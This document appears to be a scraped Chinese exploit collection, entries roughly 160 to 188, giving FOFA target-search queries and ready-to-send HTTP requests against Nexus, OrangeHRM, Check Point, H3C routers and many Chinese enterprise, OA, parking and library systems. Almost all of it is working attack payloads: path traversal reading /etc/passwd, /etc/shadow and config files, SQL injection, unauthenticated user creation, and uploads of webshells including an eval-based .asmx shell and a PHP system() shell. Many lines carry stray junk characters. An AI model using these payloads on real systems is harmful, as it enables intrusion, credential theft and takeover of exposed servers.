* |' H  b# d  FSoapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
8 m2 ?; i6 C1 B- H, l: k<vcode>1</vcode>
: c3 Y0 q/ P& s7 Q- E' R" l<subFolder></subFolder>
4 C( n# G! g' H: B) B<fileName>abcrce.asmx</fileName>
7 O1 v2 A2 ~0 Y9 d  U<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
$ }+ s. [/ ]  @& V</soap:Body>
8 ~2 ^+ T# i- y9 W) l$ t. ]# R1 r7 ~</soap:Envelope>
* G: e3 u5 `  S. A! N" r9 F- M. x
0 R4 W% Z( j+ W  |3 H* p7 j
/ s4 N- G; B: |  Y( Z8 S/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


5 ~3 F: {5 Z2 x* H' k* f: q+ e160. Sonatype Nexus Repository 3目录遍历与文件读取
3 S5 g; R! b( C2 P! f" [& t3 F+ OCVE-2024-4956
4 |' x- B/ D  ~! L. F  wFOFA：title="Nexus Repository Manager"
: `; s* A( d7 y- O0 n9 B/ E% d+ ~GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
  v; i. \+ `' {7 WAccept-Language: en
Accept-Encoding: gzip


3 s- w. x2 B+ z; s  f" {161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
$ ^" K) H8 [& Q; g  ]/ Z% JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
, _  P5 _1 I% \- `  y5 \4 h: GConnection: close
! v2 g) @2 `0 u# R4 A" PContent-Length: 445
8 O( Y4 \# D2 F' x/ SContent-Type: text/xml
  `) D8 M& A0 t* ^Accept-Encoding: gzip
0 [  h( n% }7 x7 z
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
8 |# Y. l6 U% Q7 h+ y<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
- M+ Y, l" m3 p/ l$ t- M</UploadResume>
+ Y5 B  D4 }1 D) @, z</soap:Body>
9 O9 ^/ ]9 {$ A- ~5 }4 P</soap:Envelope>


( V* U7 m" @6 T- X( P7 p# ]http://x.x.x.x/dizxdell.aspx

! _( ^( Y- t, ~6 e) }+ Q! G4 x162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
& v! c5 A- v% D% q1 PPOST /QH.aspx HTTP/1.1
5 \% H( q# O% X/ Q: BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
) m" x# @2 |* C- v4 g# l+ ~Connection: close
Content-Length: 583
. O6 _+ R+ B5 ~/ v4 A7 X3 p0 |Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
' w, c/ h# s9 Y  dAccept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
+ o& M7 _, U$ W* V; \/ CContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
2 j7 R  z/ t- h1 E& a( _Content-Type: application/octet-stream
  c% `( ]8 V8 [: S* B8 G  f  a
  O4 ?& N9 d- [7 k+ w" B/ A" p<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
' l0 @, h! j9 o' O8 z8 T, s: eContent-Disposition: form-data; name="action"
$ [4 t+ D4 i- k6 Y
upload
------WebKitFormBoundaryeegvclmyurlotuey
; E5 j( d" A! N3 h, u+ lContent-Disposition: form-data; name="responderId"

1 `, p9 T& d- x$ D9 J5 p. N$ ]ResourceNewResponder
. r5 n( S& E& e9 g: ]; s# o------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
" Z  c0 a) w. R  u% A  U
: d$ A$ b* {* F2 q/ O5 j/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--

! \; F1 n: g% Q" y/ E
http://x.x.x.x/opt/resources/kjuhitjgk.aspx

4 V/ ~' g2 m, Q8 X6 W' X" t9 Y/ C163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
( j& M6 M5 D% V& c: D  N! ~POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
5 g5 q8 w# f- I7 i, z6 GAccept-Language: zh-CN,zh;q=0.9
0 D/ C, i' J2 R; [: ~6 qContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
& B' f7 F- m/ l, E# u7 h" R
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
6 W' T0 |) H2 y
1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
% {" \! H2 x$ OContent-Type: image/jpeg

rvjhvbhwwuooyiioxega
+ m+ Z9 R7 a# q' S------iiqvnofupvhdyrcoqyuujyetjvqgocod--


164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
( C4 q: ]" k- W; wPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
+ S% ?6 ]0 g* v3 g3 k  pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
/ c9 N. G5 s' F: U9 mAccept: application/json, text/javascript, */*; q=0.01
: o! Z9 a1 s. L& WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
8 F1 ?. F; p/ p8 h+ A, x/ ?" }X-Requested-With: XMLHttpRequest
  N9 v2 E+ J( X; v. mAccept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
9 X2 X% m9 b3 T3 ~) |5 P- g5 u  LContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
, f1 n0 H' X: ^3 h+ [0 X8 L7 u
2 ?3 P& s8 C/ g! ?1 t- M<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
1 M) P; F  c% Q3 C------dqdaieopnozbkapjacdbdthlvtlyl--
# y8 {! A, m: k* |" X
8 [+ r+ n5 m4 d3 a3 x+ ^/ u
$ [2 i4 S* o# n% V- Xhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
! H3 Q! k# S# X4 W+ j
! R  P- U7 D/ u3 e# m6 I3 ]1 `! n165. OrangeHRM 3.3.3 SQL 注入
; L& W  q2 m% }CVE-2024-36428
# C. L" Y; D" D' @( G* h5 eFOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
5 g- h2 w6 ?: r

166. 中成科信票务管理平台SeatMapHandler SQL注入
7 s5 c1 n! `1 h1 JFOFA：body="技术支持：北京中成科信科技发展有限公司"
: r2 @4 w$ c7 K$ N) \5 A8 x. yPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
% b) l( o7 X( l7 |4 gUpgrade-Insecure-Requests: 1
* [8 f  y8 G( _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
/ z8 V  x5 Y' ?6 n, RAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
. z: x0 K' O7 w6 CCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
1 {+ x7 ?! `, l, _& m1 R  oContent-Length: 89
. o$ }* u& a- S; }# j* B+ R
3 }# ^: L2 ]( QMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
/ l+ D: \8 ^  B% M5 K& e

# g/ p# {( f; ?6 D7 P167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
' N4 x6 ~8 }. V) p" G8 n  f* RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
, t5 m: u) z1 {$ QAccept-Encoding: gzip, deflate
Accept: */*
' @8 V9 D7 w$ u1 L8 YConnection: keep-alive
( o2 q9 @; C; A
% a! T3 h6 d+ J7 \8 X
4 f- _) C0 m8 I* K8 ]8 K168. 宏景EHR OutputCode 任意文件读取
1 ^( L3 I6 @/ g& ~( [+ ?" WFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
5 U( b* X$ ?0 IHost: your-ip
2 h1 i5 _7 }* \9 L# BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
9 m6 n% b! B4 E5 U9 ?- JContent-Type: application/x-www-form-urlencoded
Connection: close
0 l  R$ k% G( j! M/ U" J9 ]
- t' c# b: g5 \1 a. N/ N

  C) W% r3 U6 Y0 Z& h: v5 O9 a# }4 T169. 宏景EHR downlawbase SQL注入
4 X. `$ o: }, dFOFA：app="HJSOFT-HCM"
/ k( M7 g8 W' P- X5 L% nGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
& B( f2 ~# E5 f; E: m) J6 PHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
' U5 i1 C7 i3 R8 Y! l5 b' i% q- AConnection: close
0 x+ c  A' B) N7 s* j6 z! J# V


170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
! I7 S- e2 i) r! S7 t/ JPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
) P/ T" e  I! R( [( C# tHost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml
2 e$ W* _& Y9 z3 K! }& q

2 q8 f' `; z8 z- M8 U6 q171. 通天星CMSV6车载定位监控平台 SQL注入
! g! c% j: o: T. q+ YFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
9 s* Z3 O6 V3 N6 F/ `+ _Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close



172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
8 W; M+ n; ~1 y, i+ NGET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
5 K: `0 k5 u" l5 K5 n5 y
; K. _& ?, F- W! A4 ?3 G8 g
* W, E- d8 z+ d( E9 O5 y6 F
! S. I3 G9 Q  {" ~$ A6 N4 R173. Check Point 安全网关任意文件读取
( [' o/ Y$ W. i* r# {2 `CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
0 z7 Z  U/ g; O# j- jPOST /clients/MyCRL HTTP/1.1
Host: your-ip
5 Z0 C0 R: c8 {; |" @Content-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow
8 }5 |- Y; E" o0 G+ b+ R


3 ^/ Q( R8 c1 C; V0 |! i174. 金和OA C6 FileDownLoad.aspx 任意文件读取
% V7 i) \0 W. ?% xFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
3 [, N0 P; b+ W; c* M4 F3 xHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 d5 B6 f* X2 M. F8 l2 D. SAccept-Encoding: gzip, deflate, br
) W8 H( V. \4 g& g& U8 j. w5 \$ ~* CAccept-Language: zh-CN,zh;q=0.9
Connection: close


1 {- n% M5 k1 R; K/ k0 W
. t% N' W; \6 @1 ^175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
; ]) D9 l3 ]6 k8 x- j3 NFOFA：app="金和网络-金和OA"
/ ^2 H! v$ @% X& o: i5 a# \# T, X8 qGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
3 R: q6 `3 i! [$ Y2 I( ?  p; oHost:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! _7 Z% ?( [+ R4 ~7 w/ t9 yAccept-Encoding: gzip, deflate
Connection: close
+ i' K5 X+ `7 f( E# O9 pUpgrade-Insecure-Requests: 1


  r, _5 ^. T$ P3 U: z! O176. 电信网关配置管理系统 rewrite.php 文件上传
2 B1 d  _' t% ~* A2 A4 e$ W. HFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
. l' Y' J+ B; z  b8 KHost: your-ip
: W/ @% J! L4 ]2 T) ], _9 t( a: j; }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
) T) T& F3 H+ w7 E, X0 u$ ^- l  vContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
3 ^! N6 b4 E: }. p* o' l+ p1 ^Connection: close

------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
: @& v7 ~" }4 G* X3 ^. S2 i
4 I! p- j1 ^) o8 a7 U% g# q: B<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
6 ?' Z0 S# y9 sContent-Disposition: form-data; name="uploadtime"
; [( L9 O) o. O) g  _9 G6 a

------WebKitFormBoundaryOKldnDPT--

0 l6 S" @. ?) C$ P* Z- Y$ S
$ }0 `0 {7 L: K  H$ B
3 [$ R; \' h) f- ?177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
, ]0 }  r9 h; g, |# j9 u) G/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
) Z; a) W# _% g( |' f/userLogin.asp/../actionpolicy_status/../GR3200.cfg
5 J' |: H" o! @/ W/ b5 g3 ?/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
* P- c  `0 s3 p5 u5 P, u0 j/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
; m6 T( U/ [9 n: a# a  t; [/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
6 R$ z1 T( B. I8 T/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
) Y: F; [( B/ X, K' Y3 h/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
9 [/ f4 j" ?, B6 ]; p9 b/userLogin.asp/../actionpolicy_status/../ER3200.cfg
* x  d; U0 x8 o) J1 H/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
% M0 Q. C0 z" ?+ M/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
! ^- \% h: C$ K2 z: t! d& p6 p/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
- p2 A% }5 t7 F% R0 S/userLogin.asp/../actionpolicy_status/../ER3100.cfg
( ^! s6 C4 a& l) [/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
' D" @8 ~$ B5 ~
! X+ r, ~8 o2 V$ X$ P2 ?. Q* g
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
+ {5 t# y& B9 Z, qFOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
' G5 A. J. l- pHost:
. y+ {, |7 t3 A3 y2 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
3 ]5 p, f; \3 W) F5 w% `Content-Length: 252
, K8 K- r: E7 H- g/ v+ l! o$ tAccept-Encoding: gzip, deflate
Connection: close
; Y! H2 c: I/ l- Z- f+ R8 SContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
; U/ S) d, s. R4 l% F" l-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255
5 `2 M( u6 m* C* A+ v. ~+ l
12234
2 S8 d' E4 E9 l8 W5 h-----------------aqutkea7vvanpqy3rh2l--
( H# u  T. H' C# ~2 E
' @6 \/ L5 k" S' K4 [6 E
GET /imc/primepush/%2e%2e/flex/12234.txt
& E' k* e; X4 @6 y

1 ^! x- }" D* @, O( [179. 建文工程管理系统存在任意文件读取
2 |% s% H. d6 o8 A: t3 x, _1 FPOST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
4 k4 b; m% O. H, |$ |" s- X0 jContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

path=../log4net.config&Name=

# `' I7 d, E- [& V; ~1 s; n! K. p- e
# H3 P/ ^3 V, f! k180. 帮管客 CRM jiliyu SQL注入
" C) V% G! t4 \1 t) ZFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
: H' v1 z/ ^+ G# }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
8 R' ]0 i7 o- W- A1 }6 r* eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 M" m" \8 |! W! u& m4 _. e  ~/ PAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 a8 p/ e6 \. M$ `& I! AConnection: close
1 T. M, ]6 G2 _" W1 Y' {4 D

" S: I2 U' ^9 V3 |1 P5 n181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
  y& x! M+ p/ r5 W* a7 k9 [; z* XPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
3 y9 H0 s7 k! vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 _/ Y7 t& C. W7 O0 e7 gAccept-Encoding: gzip, deflate, br
( P' G" f- R8 {" J4 p* J2 b2 iAccept-Language: zh-CN,zh;q=0.9
Connection: close
& ], }* N. b  x9 UContent-Type: application/x-www-form-urlencoded

" |& m. R- V  {/ B) x% u
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
' Y! V9 J8 |) \3 }: hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
: q  z; f/ m' S. t7 M$ qConnection: close
/ L+ D/ @  e2 jContent-Type: application/x-www-form-urlencoded
: a9 W1 Z$ e, |& m: m$ A9 k) w

username=test1234&pwd=test1234&savedays=1
3 H, E% t0 a9 k
" }$ a& M3 I$ {. `. q
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
1 h; [) W. B9 G$ K& ZHost: your-ip
2 O' {( @% E: S$ tUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
2 @7 H3 V& u( |) Y- [& V3 k5 L0 yConnection: close


184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
" ~9 o7 F; C& ~9 U- Z$ GPOST /soap/AddUser HTTP/1.1
' y# h& u# I  Z6 pHost: your-ip
% C2 X7 W5 u/ f9 @7 N9 M( yAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
; m9 c4 t' b5 b! }: f; zAccept: application/xml, text/xml, */*; q=0.01
( v3 a8 h* ?6 ~4 Q) ?2 VContent-Type: text/xml; charset=utf-8
9 z& m2 H# j' O4 v( a, QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

- k4 A) b& J( }* R) v  Y
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
" w2 X5 r- K" B+ c4 @

185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
6 ^& t3 p7 Q; H& V1 N! ^GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
1 _4 j& `: K& I& [
. f- C; `' p3 W4 \  d
186. F-logic DataCube3 SQL注入
7 Q4 a2 ?( m) ~9 H6 G7 YCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
+ R0 R, U7 D& Y( w% f) _POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
' F' b& w  k% I! K) [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
  X9 G0 }7 f; F0 d) c4 _8 SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
* [# K3 Z4 E1 E5 xConnection: close
3 D* i9 `4 x8 \' b3 i4 R. hContent-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


; Z- g7 c) Y. e9 B6 g187. Mura CMS processAsyncObject SQL注入
3 Z/ s- z/ J- \+ r+ pCVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
7 v8 k/ z/ i9 g' T5 c% f1 y( kHost: your-ip
7 w- ^, E8 B6 L& P4 dContent-Type: application/x-www-form-urlencoded
0 k, \2 X( N' t
- G  K  b9 t% Q) v: E# [% S7 w$ p
$ Y3 H. x8 b4 q* p( {; c) W+ M: q! aobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
0 A0 x; X! z6 ~; j( E, }2 K# N
* O9 ]! Q# g/ t
2 E5 B3 {9 t, [4 U. h& a4 C188. 叁体-佳会视频会议 attachment 任意文件读取
6 ?) o" R$ ~3 ]$ G9 |) uversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
/ `; O4 \' `5 {Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
